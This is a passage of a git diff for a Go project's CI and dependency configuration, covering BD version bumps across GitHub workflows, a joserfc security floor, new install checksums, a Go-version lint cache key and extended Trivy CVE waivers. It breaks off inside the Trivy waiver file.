diff --git a/.gitattributes b/.gitattributes
new file mode 100644
index 0000000000..f5c91ceed6
--- /dev/null
+++ b/.gitattributes
@@ -0,0 +1,6 @@
+# The dashboard SPA bundle under internal/api/dashboardspa/dist is emitted by the
+# Vite build and embedded into the gc binary. Treat it as generated output: skip
+# textual diffing and the whitespace lint (`git diff --check`) on the minified
+# assets, and collapse it in review UIs. Drift is still caught by the content-based
+# `git diff --quiet -- internal/api/dashboardspa/dist` gate in the Makefile.
+internal/api/dashboardspa/dist/** -diff linguist-generated
diff --git a/.github/requirements/mcp-agent-mail.in b/.github/requirements/mcp-agent-mail.in
index bef25528c9..67fa1e2512 100644
--- a/.github/requirements/mcp-agent-mail.in
+++ b/.github/requirements/mcp-agent-mail.in
@@ -25,6 +25,12 @@ idna>=3.15
 # transitive constraint carries the patched version itself.
 litellm>=1.84.0
 
+# Security floor: CVE-2026-49852 (HIGH, HS256/HS384/HS512 verify accepts an
+# empty/nil HMAC key — cross-language sibling of CVE-2026-45363) in joserfc
+# < 1.6.8. joserfc arrives transitively via authlib; pin the floor until
+# authlib's transitive constraint carries the patched version itself.
+joserfc>=1.6.8
+
 # Authlib and FastMCP security floors live in
 # .github/requirements/mcp-agent-mail.overrides.txt because mcp-agent-mail
 # v0.3.2 still caps Authlib below the fixed release.
diff --git a/.github/requirements/mcp-agent-mail.txt b/.github/requirements/mcp-agent-mail.txt
index 2f3ed6bcbd..716f55ce3d 100644
--- a/.github/requirements/mcp-agent-mail.txt
+++ b/.github/requirements/mcp-agent-mail.txt
@@ -1211,10 +1211,12 @@ jiter==0.14.0 \
     --hash=sha256:ff3a6465b3a0f54b1a430f45c3c0ba7d61ceb45cbc3e33f9e1a7f638d690baf3 \
     --hash=sha256:ffb2a08a406465bb076b7cc1df41d833106d3cf7905076cc73f0cb90078c7d10
     # via openai
-joserfc==1.6.5 \
-    --hash=sha256:1482a7db78fb4602e44ed89e51b599d052e091288c7c532c5b694e20149dec48 \
-    --hash=sha256:e9878a0f8243fe7b95e11fdda81374ca9f7a689e302751579d3dfdeec559675e
-    # via authlib
+joserfc==1.7.2 \
+    --hash=sha256:537ffb8888b2df039cb5b6d017d7cff6f09d521ce65d89cc9b8ab752b1cff947 \
+    --hash=sha256:ddd818c0ca9b4f17bbc2d72cb3966e6ded7502be089316c62c3cc64ae86132b5
+    # via
+    #   -r .github/requirements/mcp-agent-mail.in
+    #   authlib
 jsonref==1.1.0 \
     --hash=sha256:32fe8e1d85af0fdefbebce950af85590b22b60f9e95443176adbde4e1ecea552 \
     --hash=sha256:590dc7773df6c21cbf948b5dac07a72a251db28b0238ceecce0a2abfa8ec30a9
diff --git a/.github/scripts/install-bd-archive.sh b/.github/scripts/install-bd-archive.sh
index 99c7bd6353..e5aeafdffd 100755
--- a/.github/scripts/install-bd-archive.sh
+++ b/.github/scripts/install-bd-archive.sh
@@ -57,6 +57,10 @@ version_no_v="${version#v}"
 platform_tuple="${os}_${arch}"
 expected_sha=""
 case "${version}:${platform_tuple}" in
+  v1.1.0:linux_amd64) expected_sha="b0f3dd607c3fb989ee08d0a6854fba80d0402971eb108f9af6170bc14d491a34" ;;
+  v1.1.0:linux_arm64) expected_sha="e64eb6f5f998c9eae3ef9ec786f5f1c907ab3ed04fe220ebf265ca9952e21b2f" ;;
+  v1.1.0:darwin_amd64) expected_sha="5d7d30fdadcf012b7e0c1933a62cdfaef106e2561509b904e50a6733621cf8da" ;;
+  v1.1.0:darwin_arm64) expected_sha="c42e24d83b258f7ba9f52a6d2d5f6b055869dfe7807165055988b12e7ea8c564" ;;
   v1.0.5:linux_amd64) expected_sha="24706f65c7131c7b3261388709ae8781c8db53f0795398f67aa40538750aacf3" ;;
   v1.0.5:linux_arm64) expected_sha="ccae5eb4478876ae224687ba98baef46848e603470b241966b63ccd3e01129a4" ;;
   v1.0.5:darwin_amd64) expected_sha="0b0b017a3f2b23a1a9b53056ff160de318ebbca6a991c3db5924f5f48390e490" ;;
diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
index b320f88f8a..991ae4dff3 100644
--- a/.github/workflows/ci.yml
+++ b/.github/workflows/ci.yml
@@ -175,7 +175,7 @@ jobs:
     runs-on: ${{ needs.runner-policy.outputs.runner_16vcpu }}
     env:
       DOLT_VERSION: "2.1.7"
-      BD_VERSION: "v1.0.4"
+      BD_VERSION: "v1.1.0"
     steps:
       - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
       - uses: ./.github/actions/setup-gascity-ubuntu
@@ -191,20 +191,28 @@ jobs:
         run: make check-native-dependency-surface
       - name: Event-export isolation guard
         run: make check-eventexport-isolation
+      - name: Open-core boundary guard
+        run: make check-core-boundary
       - name: Native DoltLite beads tests
         run: make test-native-doltlite-beads
-      - name: Get golangci-lint version for cache key
+      - name: Get golangci-lint + Go toolchain versions for cache key
         id: glint-version
         run: |
           version=$(grep -m1 '^GOLANGCI_LINT_VERSION := ' Makefile | awk '{print $3}')
           echo "version=${version}" >> "$GITHUB_OUTPUT"
+          # staticcheck (bundled in golangci-lint) caches type/CFG facts whose
+          # validity depends on the Go toolchain it was built with. Keying the
+          # cache on GOVERSION prevents a cache populated under one Go toolchain
+          # from being replayed under another, which produced a stale-fact
+          # SA5011 false-positive flood on main (ga-v7x9vk).
+          echo "goversion=$(go env GOVERSION)" >> "$GITHUB_OUTPUT"
       - name: Restore golangci-lint cache
         uses: actions/cache@0057852bfaa89a56745cba8c7296529d2fc39830 # v4
         with:
           path: .cache/golangci-lint
-          key: ${{ runner.os }}-golangci-lint-${{ steps.glint-version.outputs.version }}-${{ hashFiles('go.sum', '.golangci.yml') }}
+          key: ${{ runner.os }}-golangci-lint-${{ steps.glint-version.outputs.version }}-${{ steps.glint-version.outputs.goversion }}-${{ hashFiles('go.sum', '.golangci.yml') }}
           restore-keys: |
-            ${{ runner.os }}-golangci-lint-${{ steps.glint-version.outputs.version }}-
+            ${{ runner.os }}-golangci-lint-${{ steps.glint-version.outputs.version }}-${{ steps.glint-version.outputs.goversion }}-
       - name: Lint
         env:
           GOLANGCI_LINT_CACHE: ${{ github.workspace }}/.cache/golangci-lint
@@ -229,7 +237,7 @@ jobs:
     runs-on: ${{ needs.runner-policy.outputs.runner_32vcpu }}
     env:
       DOLT_VERSION: "2.1.7"
-      BD_VERSION: "v1.0.4"
+      BD_VERSION: "v1.1.0"
     steps:
       - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
       - uses: ./.github/actions/setup-gascity-ubuntu
@@ -258,7 +266,7 @@ jobs:
     runs-on: ${{ needs.runner-policy.outputs.runner_32vcpu }}
     env:
       DOLT_VERSION: "2.1.7"
-      BD_VERSION: "v1.0.4"
+      BD_VERSION: "v1.1.0"
     strategy:
       fail-fast: false
       matrix:
@@ -290,7 +298,7 @@ jobs:
     runs-on: ${{ needs.runner-policy.outputs.runner_32vcpu }}
     env:
       DOLT_VERSION: "2.1.7"
-      BD_VERSION: "v1.0.4"
+      BD_VERSION: "v1.1.0"
     steps:
       - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
       - uses: ./.github/actions/setup-gascity-ubuntu
@@ -490,7 +498,7 @@ jobs:
         shard: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12]
     env:
       DOLT_VERSION: "2.1.7"
-      BD_VERSION: "v1.0.4"
+      BD_VERSION: "v1.1.0"
     steps:
       - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
       - uses: ./.github/actions/setup-gascity-ubuntu
@@ -622,7 +630,7 @@ jobs:
             command: ./scripts/test-integration-shard rest-full-16-of-16
     env:
       DOLT_VERSION: "2.1.7"
-      BD_VERSION: "v1.0.4"
+      BD_VERSION: "v1.1.0"
     steps:
       - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
       - uses: ./.github/actions/setup-gascity-ubuntu
@@ -1123,7 +1131,7 @@ jobs:
           GC_TEST_GASCITY_PACKS_REGISTRY: main
     env:
       DOLT_VERSION: "2.1.7"
-      BD_VERSION: "v1.0.4"
+      BD_VERSION: "v1.1.0"
 
   # Dashboard SPA typecheck + tests + build. Runs on every push/PR
   # so TS drift against the spec (e.g. a query param tightening from
@@ -1150,6 +1158,9 @@ jobs:
       - name: Typecheck (tsc --noEmit)
         run: npm run typecheck
         working-directory: internal/api/dashboardspa/web
+      - name: Typecheck test files (tsc -p tsconfig.test.json)
+        run: npm run --workspace gas-city-dashboard-frontend typecheck:test
+        working-directory: internal/api/dashboardspa/web
       - name: Vitest
         run: npm run --workspace gas-city-dashboard-frontend test
         working-directory: internal/api/dashboardspa/web
diff --git a/.github/workflows/fork-verify.yml b/.github/workflows/fork-verify.yml
index 21a17d4801..4c5d0b46df 100644
--- a/.github/workflows/fork-verify.yml
+++ b/.github/workflows/fork-verify.yml
@@ -23,7 +23,7 @@ jobs:
     runs-on: ubuntu-latest
     env:
       DOLT_VERSION: "2.1.7"
-      BD_VERSION: "v1.0.4"
+      BD_VERSION: "v1.1.0"
     steps:
       - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
       - uses: ./.github/actions/setup-gascity-ubuntu
diff --git a/.github/workflows/mac-regression.yml b/.github/workflows/mac-regression.yml
index 31eca67764..2c209a3ed1 100644
--- a/.github/workflows/mac-regression.yml
+++ b/.github/workflows/mac-regression.yml
@@ -75,7 +75,7 @@ concurrency:
 
 env:
   DOLT_VERSION: "2.1.7"
-  BD_VERSION: "v1.0.4"
+  BD_VERSION: "v1.1.0"
 
 # Trigger gate re-used by every job below via `if:`.
 # We want each job to run when EITHER:
@@ -137,18 +137,24 @@ jobs:
           install-claude-cli: "false"
       - name: Install tools
         run: make install-tools
-      - name: Get golangci-lint version for cache key
+      - name: Get golangci-lint + Go toolchain versions for cache key
         id: glint-version
         run: |
           version=$(grep -m1 '^GOLANGCI_LINT_VERSION := ' Makefile | awk '{print $3}')
           echo "version=${version}" >> "$GITHUB_OUTPUT"
+          # staticcheck (bundled in golangci-lint) caches type/CFG facts whose
+          # validity depends on the Go toolchain it was built with. Keying the
+          # cache on GOVERSION prevents a cache populated under one Go toolchain
+          # from being replayed under another, which produced a stale-fact
+          # SA5011 false-positive flood on main (ga-v7x9vk).
+          echo "goversion=$(go env GOVERSION)" >> "$GITHUB_OUTPUT"
       - name: Restore golangci-lint cache
         uses: actions/cache@0057852bfaa89a56745cba8c7296529d2fc39830 # v4
         with:
           path: .cache/golangci-lint
-          key: ${{ runner.os }}-golangci-lint-${{ steps.glint-version.outputs.version }}-${{ hashFiles('go.sum', '.golangci.yml') }}
+          key: ${{ runner.os }}-golangci-lint-${{ steps.glint-version.outputs.version }}-${{ steps.glint-version.outputs.goversion }}-${{ hashFiles('go.sum', '.golangci.yml') }}
           restore-keys: |
-            ${{ runner.os }}-golangci-lint-${{ steps.glint-version.outputs.version }}-
+            ${{ runner.os }}-golangci-lint-${{ steps.glint-version.outputs.version }}-${{ steps.glint-version.outputs.goversion }}-
       - name: Lint
         env:
           GOLANGCI_LINT_CACHE: ${{ github.workspace }}/.cache/golangci-lint
diff --git a/.github/workflows/nightly.yml b/.github/workflows/nightly.yml
index f8ecf14600..4fa3dc0ffd 100644
--- a/.github/workflows/nightly.yml
+++ b/.github/workflows/nightly.yml
@@ -10,7 +10,7 @@ permissions:
 
 env:
   DOLT_VERSION: "2.1.7"
-  BD_VERSION: "v1.0.4"
+  BD_VERSION: "v1.1.0"
 
 jobs:
   tier-b:
@@ -89,7 +89,7 @@ jobs:
     timeout-minutes: 30
     env:
       DOLT_VERSION: "2.1.7"
-      BD_VERSION: "v1.0.4"
+      BD_VERSION: "v1.1.0"
       GC_BEADS: sqlite
       GC_ACCEPTANCE_BEADS_PROVIDER: sqlite
     steps:
diff --git a/.github/workflows/notify-image-build.yaml b/.github/workflows/notify-image-build.yaml
index 5b6360a32c..08ac3de743 100644
--- a/.github/workflows/notify-image-build.yaml
+++ b/.github/workflows/notify-image-build.yaml
@@ -1,10 +1,12 @@
-# Notify gasworks-internal to rebuild the gc-runtime image when Go source changes.
+# Notify gasworks-control-plane to rebuild the gc-runtime image when Go source
+# changes.
 #
 # gascity provides the gc binary embedded in runtime images.
 # When source code changes, images need rebuilding.
 #
-# Required secret: GASCITY_HOSTED_TOKEN — PAT with repo scope for
-# gascity/gasworks-internal (needed for repository_dispatch).
+# Required secret: GASCITY_HOSTED_TOKEN — a token with contents:write on
+# gascity/gasworks-control-plane (needed for repository_dispatch). A
+# fine-grained PAT scoped to that repo, or a classic PAT with repo scope.
 
 name: Notify Image Rebuilds
 
@@ -33,5 +35,5 @@ jobs:
         run: |
           gh api \
             --method POST \
-            repos/gascity/gasworks-internal/dispatches \
+            repos/gascity/gasworks-control-plane/dispatches \
             -f event_type=runtime-dep-updated
diff --git a/.github/workflows/ollama-acceptance-c.yml b/.github/workflows/ollama-acceptance-c.yml
index 5fbbcb51d2..4a744506e0 100644
--- a/.github/workflows/ollama-acceptance-c.yml
+++ b/.github/workflows/ollama-acceptance-c.yml
@@ -8,7 +8,7 @@ permissions:
 
 env:
   DOLT_VERSION: "2.1.7"
-  BD_VERSION: "v1.0.4"
+  BD_VERSION: "v1.1.0"
   ANTHROPIC_BASE_URL: https://ollama.com
   ANTHROPIC_API_KEY: ""
   ANTHROPIC_AUTH_TOKEN: ${{ secrets.OLLAMA_API_KEY }}
diff --git a/.github/workflows/rc-gate.yml b/.github/workflows/rc-gate.yml
index 33eebcf95a..d4537c5260 100644
--- a/.github/workflows/rc-gate.yml
+++ b/.github/workflows/rc-gate.yml
@@ -8,7 +8,7 @@ permissions:
 
 env:
   DOLT_VERSION: "2.1.7"
-  BD_VERSION: "v1.0.4"
+  BD_VERSION: "v1.1.0"
   # Bypass the systemd gascity-test.slice re-exec on CI runners. The Blacksmith
   # runners' user systemd cannot reliably create a transient --scope for the
   # heavy acceptance workloads; gc_test_slice_reexec then exec's
diff --git a/.github/workflows/review-formulas.yml b/.github/workflows/review-formulas.yml
index 425dcb04f6..ddc851c8a8 100644
--- a/.github/workflows/review-formulas.yml
+++ b/.github/workflows/review-formulas.yml
@@ -37,7 +37,7 @@ concurrency:
 
 env:
   DOLT_VERSION: "2.1.7"
-  BD_VERSION: "v1.0.4"
+  BD_VERSION: "v1.1.0"
 
 jobs:
   runner-policy:
diff --git a/.trivyignore.yaml b/.trivyignore.yaml
index 10de688f66..1f5372e1ad 100644
--- a/.trivyignore.yaml
+++ b/.trivyignore.yaml
@@ -1,4 +1,14 @@
 vulnerabilities:
+  # Expiry horizon bulk-extended 2026-07-06: 2026-07-07 -> 2026-08-07. Re-audit
+  # confirmed every waived upstream is still pinned at its vulnerable version, so
+  # nothing is droppable yet: dolt v2.1.7 (Go 1.26.2 stdlib + old
+  # x/net/x/crypto/thrift), bundled bd v1.1.0 (beads repin: x-net/x-crypto;
+  # thrift+go-jose cleared by the v1.1.0 rebuild), kubectl base binary (external
+  # x/net), and gc (go.mod still
+  # golang.org/x/net v0.52.0 / golang.org/x/crypto v0.49.0). gh already cleared
+  # by cli/cli v2.94.0. Drop each entry per its own `statement:` once that
+  # upstream actually rebuilds.
+  #
   # Go stdlib CVEs disclosed 2026-05-12. Fixed in Go 1.25.10 / 1.26.3 for
   # the first batch (33811–42499); Go 1.26.4 / 1.25.11 for CVE-2026-42504.
   # As of 2026-06-15: cli/cli v2.94.0 ships Go 1.26.4 (clears all entries);
@@ -13,7 +23,7 @@ vulnerabilities:
       - "usr/local/bin/br"
       - "usr/local/bin/dolt"
       - "usr/local/bin/kubectl"
-    expired_at: 2026-07-07
+    expired_at: 2026-08-07
     statement: Upstream bd, br, dolt, and kubectl embed Go 1.26.2 stdlib; remove once each rebuilds against 1.26.3+ (or 1.25.10+). gh cleared by v2.94.0 (Go 1.26.4) on base-image rebuild.
   - id: CVE-2026-33814
     paths:
@@ -21,7 +31,7 @@ vulnerabilities:
       - "usr/local/bin/br"
       - "usr/local/bin/dolt"
       - "usr/local/bin/kubectl"
-    expired_at: 2026-07-07
+    expired_at: 2026-08-07
     statement: Upstream bd, br, dolt, and kubectl embed Go 1.26.2 stdlib; remove once each rebuilds against 1.26.3+ (or 1.25.10+). gh cleared by v2.94.0 (Go 1.26.4) on base-image rebuild.
   - id: CVE-2026-39820
     paths:
@@ -29,7 +39,7 @@ vulnerabilities:
       - "usr/local/bin/br"
       - "usr/local/bin/dolt"
       - "usr/local/bin/kubectl"
-    expired_at: 2026-07-07
+    expired_at: 2026-08-07
     statement: Upstream bd, br, dolt, and kubectl embed Go 1.26.2 stdlib; remove once each rebuilds against 1.26.3+ (or 1.25.10+). gh cleared by v2.94.0 (Go 1.26.4) on base-image rebuild.
   - id: CVE-2026-39823
     paths:
@@ -37,7 +47,7 @@ vulnerabilities:
       - "usr/local/bin/br"
       - "usr/local/bin/dolt"
       - "usr/local/bin/kubectl"
-    expired_at: 2026-07-07
+    expired_at: 2026-08-07
     statement: Upstream bd, br, dolt, and kubectl embed Go 1.26.2 stdlib; remove once each rebuilds against 1.26.3+ (or 1.25.10+). gh cleared by v2.94.0 (Go 1.26.4) on base-image rebuild.
   - id: CVE-2026-39825
     paths:
@@ -45,7 +55,7 @@ vulnerabilities:
       - "usr/local/bin/br"
       - "usr/local/bin/dolt"
       - "usr/local/bin/kubectl"
-    expired_at: 2026-07-07
+    expired_at: 2026-08-07
     statement: Upstream bd, br, dolt, and kubectl embed Go 1.26.2 stdlib; remove once each rebuilds against 1.26.3+ (or 1.25.10+). gh cleared by v2.94.0 (Go 1.26.4) on base-image rebuild.
   - id: CVE-2026-39826
     paths:
@@ -53,7 +63,7 @@ vulnerabilities:
       - "usr/local/bin/br"
       - "usr/local/bin/dolt"
       - "usr/local/bin/kubectl"
-    expired_at: 2026-07-07
+    expired_at: 2026-08-07
     statement: Upstream bd, br, dolt, and kubectl embed Go 1.26.2 stdlib; remove once each rebuilds against 1.26.3+ (or 1.25.10+). gh cleared by v2.94.0 (Go 1.26.4) on base-image rebuild.
   - id: CVE-2026-39836
     paths:
@@ -61,7 +71,7 @@ vulnerabilities:
       - "usr/local/bin/br"
       - "usr/local/bin/dolt"
       - "usr/local/bin/kubectl"
-    expired_at: 2026-07-07
+    expired_at: 2026-08-07
     statement: Upstream bd, br, dolt, and kubectl embed Go 1.26.2 stdlib; remove once each rebuilds against 1.26.3+ (or 1.25.10+). gh cleared by v2.94.0 (Go 1.26.4) on base-image rebuild.
   - id: CVE-2026-42499
     paths:
@@ -69,7 +79,7 @@ vulnerabilities:
       - "usr/local/bin/br"
       - "usr/local/bin/dolt"
       - "usr/local/bin/kubectl"
-    expired_at: 2026-07-07
+    expired_at: 2026-08-07
     statement: Upstream bd, br, dolt, and kubectl embed Go 1.26.2 stdlib; remove once each rebuilds against 1.26.3+ (or 1.25.10+). gh cleared by v2.94.0 (Go 1.26.4) on base-image rebuild.
   - id: CVE-2026-42504
     paths:
@@ -77,122 +87,111 @@ vulnerabilities:
       - "usr/local/bin/br"
       - "usr/local/bin/dolt"
       - "usr/local/bin/kubectl"
-    expired_at: 2026-07-07
+    expired_at: 2026-08-07
     statement: Go stdlib MIME-header DoS (CVE-2026-42504), fixed in Go 1.26.4 / 1.25.11. bd, br, dolt, and kubectl still embed an older Go stdlib; remove once each rebuilds against 1.26.4+. gh cleared by v2.94.0 on rebuild; gc cleared by go.mod bump to 1.26.4 (PR #3297).
   - id: CVE-2026-27145
     paths:
       - "usr/local/bin/bd"
-    expired_at: 2026-07-07
-    statement: Go stdlib x509 hostname verification issue (CVE-2026-27145), fixed in Go 1.26.4 / 1.25.11. bd v1.0.4 is the deliberate beads repin; remove once the bundled CLI rebuilds against 1.26.4+.
+    expired_at: 2026-08-07
+    statement: Go stdlib x509 hostname verification issue (CVE-2026-27145), fixed in Go 1.26.4 / 1.25.11. bd v1.1.0 is the deliberate beads repin (still built with Go 1.26.2); remove once the bundled CLI rebuilds against 1.26.4+.
   - id: CVE-2026-27145
     paths:
       - "usr/local/bin/dolt"
-    expired_at: 2026-07-07
+    expired_at: 2026-08-07
     statement: Go stdlib x509 hostname verification issue (CVE-2026-27145), fixed in Go 1.26.4 / 1.25.11. Dolt v2.1.7 still embeds Go 1.26.2; remove once upstream rebuilds against 1.26.4+.
   - id: CVE-2026-27145
     paths:
       - "usr/local/bin/kubectl"
-    expired_at: 2026-07-07
+    expired_at: 2026-08-07
     statement: Go stdlib x509 hostname verification issue (CVE-2026-27145), fixed in Go 1.26.4 / 1.25.11. kubectl in the base image still embeds Go 1.26.2; remove once the bundled CLI rebuilds against 1.26.4+.
   - id: CVE-2026-41602
     paths:
       - "usr/local/bin/dolt"
-    expired_at: 2026-07-07
+    expired_at: 2026-08-07
     statement: Latest Dolt 1.88.0 still embeds github.com/apache/thrift v0.13.1; remove after a Dolt release includes thrift 0.23.0 or later.
   - id: CVE-2026-25680
     paths:
       - "usr/local/bin/dolt"
-    expired_at: 2026-07-07
+    expired_at: 2026-08-07
     statement: Dolt v2.1.7 still bundles a Go module set with this x/net HTML parsing issue; remove once upstream rebuilds against the fixed x/net release.
   - id: CVE-2026-25681
     paths:
       - "usr/local/bin/dolt"
-    expired_at: 2026-07-07
+    expired_at: 2026-08-07
     statement: Dolt v2.1.7 still bundles a Go module set with this x/net HTML rendering issue; remove once upstream rebuilds against the fixed x/net release.
   - id: CVE-2026-27136
     paths:
       - "usr/local/bin/dolt"
-    expired_at: 2026-07-07
+    expired_at: 2026-08-07
     statement: Dolt v2.1.7 still bundles a Go module set with this x/net HTML rendering issue; remove once upstream rebuilds against the fixed x/net release.
   - id: CVE-2026-39821
     paths:
       - "usr/local/bin/dolt"
-    expired_at: 2026-07-07
+    expired_at: 2026-08-07
     statement: Dolt v2.1.7 still bundles a Go module set with this x/net idna issue; remove once upstream rebuilds against the fixed x/net release.
   - id: CVE-2026-42502
     paths:
       - "usr/local/bin/dolt"
-    expired_at: 2026-07-07
+    expired_at: 2026-08-07
     statement: Dolt v2.1.7 still bundles a Go module set with this x/net HTML rendering issue; remove once upstream rebuilds against the fixed x/net release.
   - id: CVE-2026-42506
     paths:
       - "usr/local/bin/dolt"
-    expired_at: 2026-07-07
+    expired_at: 2026-08-07
     statement: Dolt v2.1.7 still bundles a Go module set with this x/net HTML rendering issue; remove once upstream rebuilds against the fixed x/net release.
   - id: CVE-2026-39827
     paths:
       - "usr/local/bin/dolt"
-    expired_at: 2026-07-07
+    expired_at: 2026-08-07
     statement: Dolt v2.1.7 still bundles golang.org/x/crypto v0.48.0; remove once upstream rebuilds against the fixed release.
   - id: CVE-2026-39828
     paths:
       - "usr/local/bin/dolt"
-    expired_at: 2026-07-07
+    expired_at: 2026-08-07
     statement: Dolt v2.1.7 still bundles golang.org/x/crypto v0.48.0; remove once upstream rebuilds against the fixed release.
   - id: CVE-2026-39829
     paths:
       - "usr/local/bin/dolt"
-    expired_at: 2026-07-07
+    expired_at: 2026-08-07
     statement: Dolt v2.1.7 still bundles golang.org/x/crypto v0.48.0; remove once upstream rebuilds against the fixed release.
   - id: CVE-2026-39830
     paths:
       - "usr/local/bin/dolt"
-    expired_at: 2026-07-07
+    expired_at: 2026-08-07
+    statement: Dolt v2.1.7 still bundles golang.org/x/crypto v0.48.0; remove once upstream rebuilds against the fixed release.
+  - id: CVE-2026-39831
+    paths:
+      - "usr/local/bin/dolt"
+    expired_at: 2026-08-07
     statement: Dolt v2.1.7 still bundles golang.org/x/crypto v0.48.0; remove once upstream rebuilds against the fixed release.
   - id: CVE-2026-39832
     paths:
       - "usr/local/bin/dolt"
-    expired_at: 2026-07-07
+    expired_at: 2026-08-07
     statement: Dolt v2.1.7 still bundles golang.org/x/crypto v0.48.0; remove once upstream rebuilds against the fixed release.
   - id: CVE-2026-39835
     paths:
       - "usr/local/bin/dolt"
-    expired_at: 2026-07-07
+    expired_at: 2026-08-07
     statement: Dolt v2.1.7 still bundles golang.org/x/crypto v0.48.0; remove once upstream rebuilds against the fixed release.
   - id: CVE-2026-42508
     paths:
       - "usr/local/bin/dolt"
-    expired_at: 2026-07-07
+    expired_at: 2026-08-07
     statement: Dolt v2.1.7 still bundles golang.org/x/crypto v0.48.0; remove once upstream rebuilds against the fixed release.
   - id: CVE-2026-46595
     paths:
       - "usr/local/bin/dolt"
-    expired_at: 2026-07-07
+    expired_at: 2026-08-07
     statement: Dolt v2.1.7 still bundles golang.org/x/crypto v0.48.0; remove once upstream rebuilds against the fixed release.
   - id: CVE-2026-46597
     paths:
       - "usr/local/bin/dolt"
-    expired_at: 2026-07-07
+    expired_at: 2026-08-07
     statement: Dolt v2.1.7 still bundles golang.org/x/crypto v0.48.0; remove once upstream rebuilds against the fixed release.
-  # HIGH severity, fixed upstream. Both CVEs below are present ONLY via the
-  # deliberate steveyegge/beads v1.0.4 repin (v1.0.5 has data corruption) in the
-  # bundled bd CLI binary. bd is a local CLI: the affected apache/thrift and
-  # go-jose/go-jose/v4 code paths are non-network in this usage (no thrift RPC
-  # server, no JWE handling). Waiver expires when gascity moves off bd 1.0.4
-  # (tracking: move gascity off bd v1.0.4). Do not bump bd here.
-  - id: CVE-2026-41602
-    paths:
-      - "usr/local/bin/bd"
-    expired_at: 2026-07-07
-    statement: "HIGH, fixed upstream (apache/thrift). Present only via the deliberate steveyegge/beads v1.0.4 repin (v1.0.5 has data corruption), in the bundled bd CLI binary on non-network thrift paths. Remove when gascity moves off bd 1.0.4 (tracking: move gascity off bd v1.0.4)."
-  - id: CVE-2026-34986
-    paths:
-      - "usr/local/bin/bd"
-    expired_at: 2026-07-07
-    statement: "HIGH, fixed upstream (go-jose/go-jose/v4). Present only via the deliberate steveyegge/beads v1.0.4 repin (v1.0.5 has data corruption), in the bundled bd CLI binary on non-network JWE paths. Remove when gascity moves off bd 1.0.4 (tracking: move gascity off bd v1.0.4)."
   # The golang.org/x/net (HTML/idna/http2) and golang.org/x/crypto/ssh CVEs in
   # the same series the dolt entries above waive are also reported against the
-  # bd CLI binary (steveyegge/beads v1.0.4 repin, external), the gc binary
+  # bd CLI binary (steveyegge/beads v1.1.0, external), the gc binary
   # (indirect golang.org/x/net v0.52.0 / golang.org/x/crypto v0.49.0), and the
   # external kubectl binary (golang.org/x/net v0.49.0; the gc-controller image
   # adds kubectl on top of the agent image). With set -e the Container Scan
@@ -208,99 +207,105 @@ vulnerabilities:
       - "usr/local/bin/bd"
       - "usr/local/bin/gc"
       - "usr/local/bin/kubectl"
-    expired_at: 2026-07-07
-    statement: golang.org/x/net HTML parsing DoS; base-pre-existing (also red on main 2026-06-24). Present in bd (beads v1.0.4 repin), gc (indirect x/net v0.52.0), and kubectl (external, x/net v0.49.0). Remove once bd/kubectl rebuild upstream and gc bumps golang.org/x/net >= 0.55.0.
+    expired_at: 2026-08-07
+    statement: golang.org/x/net HTML parsing DoS; base-pre-existing (also red on main 2026-06-24). Present in bd (beads v1.1.0), gc (indirect x/net v0.52.0), and kubectl (external, x/net v0.49.0). Remove once bd/kubectl rebuild upstream and gc bumps golang.org/x/net >= 0.55.0.
   - id: CVE-2026-25681
     paths:
       - "usr/local/bin/bd"
       - "usr/local/bin/gc"
       - "usr/local/bin/kubectl"
-    expired_at: 2026-07-07
-    statement: golang.org/x/net HTML rendering issue; base-pre-existing (also red on main 2026-06-24). Present in bd (beads v1.0.4 repin), gc (indirect x/net v0.52.0), and kubectl (external, x/net v0.49.0). Remove once bd/kubectl rebuild upstream and gc bumps golang.org/x/net >= 0.55.0.
+    expired_at: 2026-08-07
+    statement: golang.org/x/net HTML rendering issue; base-pre-existing (also red on main 2026-06-24). Present in bd (beads v1.1.0), gc (indirect x/net v0.52.0), and kubectl (external, x/net v0.49.0). Remove once bd/kubectl rebuild upstream and gc bumps golang.org/x/net >= 0.55.0.
   - id: CVE-2026-27136
     paths:
       - "usr/local/bin/bd"
       - "usr/local/bin/gc"
       - "usr/local/bin/kubectl"
-    expired_at: 2026-07-07
-    statement: golang.org/x/net HTML rendering issue; base-pre-existing (also red on main 2026-06-24). Present in bd (beads v1.0.4 repin), gc (indirect x/net v0.52.0), and kubectl (external, x/net v0.49.0). Remove once bd/kubectl rebuild upstream and gc bumps golang.org/x/net >= 0.55.0.
+    expired_at: 2026-08-07
+    statement: golang.org/x/net HTML rendering issue; base-pre-existing (also red on main 2026-06-24). Present in bd (beads v1.1.0), gc (indirect x/net v0.52.0), and kubectl (external, x/net v0.49.0). Remove once bd/kubectl rebuild upstream and gc bumps golang.org/x/net >= 0.55.0.
   - id: CVE-2026-39821
     paths:
       - "usr/local/bin/bd"
       - "usr/local/bin/gc"
       - "usr/local/bin/kubectl"
-    expired_at: 2026-07-07
-    statement: golang.org/x/net/idna issue; base-pre-existing (also red on main 2026-06-24). Present in bd (beads v1.0.4 repin), gc (indirect x/net v0.52.0), and kubectl (external, x/net v0.49.0). Remove once bd/kubectl rebuild upstream and gc bumps golang.org/x/net >= 0.55.0.
+    expired_at: 2026-08-07
+    statement: golang.org/x/net/idna issue; base-pre-existing (also red on main 2026-06-24). Present in bd (beads v1.1.0), gc (indirect x/net v0.52.0), and kubectl (external, x/net v0.49.0). Remove once bd/kubectl rebuild upstream and gc bumps golang.org/x/net >= 0.55.0.
   - id: CVE-2026-42502
     paths:
       - "usr/local/bin/bd"
       - "usr/local/bin/gc"
       - "usr/local/bin/kubectl"
-    expired_at: 2026-07-07
-    statement: golang.org/x/net HTML rendering issue; base-pre-existing (also red on main 2026-06-24). Present in bd (beads v1.0.4 repin), gc (indirect x/net v0.52.0), and kubectl (external, x/net v0.49.0). Remove once bd/kubectl rebuild upstream and gc bumps golang.org/x/net >= 0.55.0.
+    expired_at: 2026-08-07
